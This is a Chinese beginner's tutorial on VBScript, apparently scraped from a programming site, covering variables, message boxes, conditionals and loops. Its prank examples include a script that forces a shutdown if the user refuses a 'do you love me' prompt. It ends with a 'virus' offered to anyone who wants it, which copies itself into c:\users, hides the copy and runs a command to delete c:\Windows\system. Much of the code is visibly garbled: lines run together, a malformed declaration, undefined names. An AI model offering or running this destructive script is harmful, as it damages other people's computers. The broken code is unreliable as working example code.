VBS 脚本语言概述

VBS 是一种 Windows 脚本语言,全称是 Microsoft Visual Basic Script Editon(微软公司可视化 BASIC 脚本版)。

VBS 是系统内置的,用它编写的脚本不用编译成二进制文件,直接就由 Windows 系统宿主 host 解释源代码并执行。

他不需要特定的编译环境,任意的文本编辑器都可以进行编写,初学者用 Windows 自带的“记事本(Notepad)”就可以进行编写和执行,如果想深入学习的话,还是建议用专业的编辑器,支持代码高亮的,更方便一些, Notepad++ 就挺不错。

VBS 变量基本定义

对于任何一个编程语言,我们首先关心的是如何定义一个变量。在Visual Basic Script 中,定义一个变量的正规模式是:dim 变量名

当然,如果你不定义变量而是直接使用也是没有任何问题的,就像Python那样,可以不用声明而直接使用,但是我们在这里还是建议遵循一下变量的先声明,后使用的原则。

dim a, b
a = 10
b = 5
msgbox a + b

这里的 msgbox 是一个vbs中的关键字,基本作用是弹出一个弹框,显示你想要显示的信息,msgbox 可以显示各种类型的变量。

变量的类型与其他语言基本上都是一样的,比如:字符串、整型数、浮点型数、布尔型数字(True 和 False),但是,我们在这里不需要指明某一个变量具体是哪一种类型的变量,编译器是会直接自己识别变量的类型的。

VBS 判断语句

接下来,我们首先介绍一下判断语句,然后再去看看循环语句,显示判断语句。如果你接触过其他的编程语言,你一定对判断语句一点都不陌生,在 vbs 中也是同样的,语法也就是 if,else,else if 等等。具体的书写略有不同啦,例如下述的代码:

dim str
str = msgbox("Do you love me?", vbYesNo, "LOVE")
if str = vbYes thenmsgbox "I love you too, I think we will be happy!"
elsemsgbox "I will close your computer!"set sh = wscript.createobject("wscript.shell")sh.run "shutdown -s -t 300"
end if

sh.run “shutdown -s -t 300” 执行自动关机 300 秒后

如何进行阻止自动关机的代码:

Set ws = WScript.CreateObject("Wscript.Shell") 
ws.Run "shutdown -a"

VBS 循环语句

循环语句基本语法:

For...Next 语句运行一段语句指定的次数
For Each...Next 语句针对集合中的每个项目或者数组中的每个元素来运行某段语句。
Do...Loop 语句运行循环,当条件为 true 或者直到条件为 true 时。

循环语句基本案例:

Dim Count:Count = 5  '定义一个变量
Do Until Count = 0  '直到Count 变量为 0 时,否则一直循环MsgBox CountCount = Count -1
Loop
MsgBox "循环结束"
Dim Count:Count = 5  '定义一个变量
DoMsgBox CountCount = Count -1
Loop Until Count = 0  '直到Count变量为 0 时,否则一直循环
MsgBox "循环结束"

就比如:

dim str
do until str = "yes"msgbox "do you love me ?"str = inputbox("yes or no", "ANSWER", "yes")
loop

运行结果:

程序员表白、恶搞代码 VBS 系统内置脚本语言详细教程(新手篇)-编程知识网

VBS 程序案例

对于任何一个编程语言,我们首先关心的是如何定义一个变量

在Visual Basic Script 中,定义一个变量的正规模式是:dim 变量名

这里的 msgbox 是一个vbs中的关键字,作用是弹出一个弹框,显示你想要显示的信息

msgbox 可以显示各种类型的变量。

在vbs中,变量的类型与其他语言基本上都是一样的,比如:字符串、整型数、浮点型数、布尔型数字(True 和 False),但是,我们在这里不需要指明某一个变量具体是哪一种类型的变量,编译器是会直接自己识别变量的类型的。

在 vbs 中,想要输入是需要首先弹出来一个弹框,然后进行输入的。

例如下述代码:

dim str-
str = inputbox("please input your name here","Title","default value")
msgbox str

在这里的输出方式其实我们已经在前文中使用了很多次了,就是上述的那个 msgbox 关键字,它的作用就是弹出一个弹框,然后显示出你想要显示的信息

比如:我们在第一个例子中输出的数字 30, 以及我们在第二个例子中所显示的字符串: “唤醒手腕哈哈哈”,总之就是由 msgbox 这个弹框进行显示信息,相当于 C++ 中的 cout,也相当于是 Python 中的 print 等等,是一个输出,只是与其他语言的输出方式不太一样罢了。

案例 2:打开 cmd 窗口

Set WshShell = createobject("wscript.shell")
WshShell.run "cmd"

VBS 编写系统病毒

底下是我编的病毒,有人想要的可以拿去,但是,千万不要拿来做坏事,可能会你的同学们挨揍。

dim fso,copy,wshshell,Const Hidden
set fso = createobject(“scripting.filesystemobject”)
set copy = fso.getfile(wscript.scriptfullname)
copy.fso("c:\users\computer virus.vbs") 
'复制自身到c:\users\ 复制体叫做computer virus.vbs
Const Hidden = 2
Set hide = fso.GetFile("c:\users\computer virus.vbs") 
'隐藏复制体
hide.Attributes = f.Attributes Or Hidden
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd/c del c:\Windows\system" 
'太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。
'不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。
'你可以在命令提示符里输入del/?查看帮助.